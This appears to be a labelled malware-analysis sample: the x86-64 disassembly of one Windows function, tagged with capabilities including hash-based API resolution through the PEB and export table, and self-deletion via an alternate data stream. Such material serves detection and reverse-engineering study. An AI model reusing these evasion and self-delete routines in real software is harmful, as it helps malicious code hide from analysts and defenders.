Function at 0x140001490
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Self delete using alternate data streams

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x14000e008]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor eax, eax
mov dword [rsp + 0x44], 0x104
lea rdi, [rsp + 0x70]
mov ecx, 0x20a
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov r11d, dword [rdx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140001564
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140001564
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edi, 0xf247bb5a
lea rax, [rbx + r8*4]
mov edx, dword [rax + r9]
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000155f
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, edi
imul edi, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140001540
cmp edi, 0x2ee07f7f
je 0x140001569
test r8d, r8d
jne 0x140001520
mov rcx, qword [rcx]
jmp 0x1400014f0
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
lea r8, [rsp + 0x70]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r9
mov rcx, rsi
lea r9, [rsp + 0x44]
call rax
test eax, eax
je 0x140001754
xor esi, esi
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001754
xor eax, eax
lea rdi, [rsp + 0x48]
mov ecx, 0x18
lea r9d, [rsi + 0x20]
rep stosb byte [rdi], al
movabs rax, 0x7400610064003a
mov dword [rsp + 0x58], 8
mov rcx, rbx
mov qword [rsp + 0x5c], rax
lea r8, [rsp + 0x48]
lea edx, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x140001754
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001754
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 1
lea r9d, [rsi + 1]
rep stosb byte [rdi], al
mov rcx, rbx
mov byte [rsp + 0x40], 1
lea r8, [rsp + 0x40]
lea edx, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x140001754
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140001724
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140001724
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edi, 0x60b8dd1d
lea rcx, [rbx + r8*4]
mov ecx, dword [rcx + r9]
add rcx, r9
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000171f
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, edi
imul edi, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140001700
cmp edi, 0xca7d581d
je 0x140001729
test r8d, r8d
jne 0x1400016e0
mov rax, qword [rax]
jmp 0x1400016b0
mov edx, dword [r11 + 0x24]
lea rcx, [rsp + 0x70]
add rdx, r9
movzx edi, word [rdx + r8*2]
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov edx, dword [rdx + rdi*4]
add rdx, r9
call rdx
test eax, eax
jne 0x140001754
mov eax, 1
jmp 0x140001756
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140002890
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret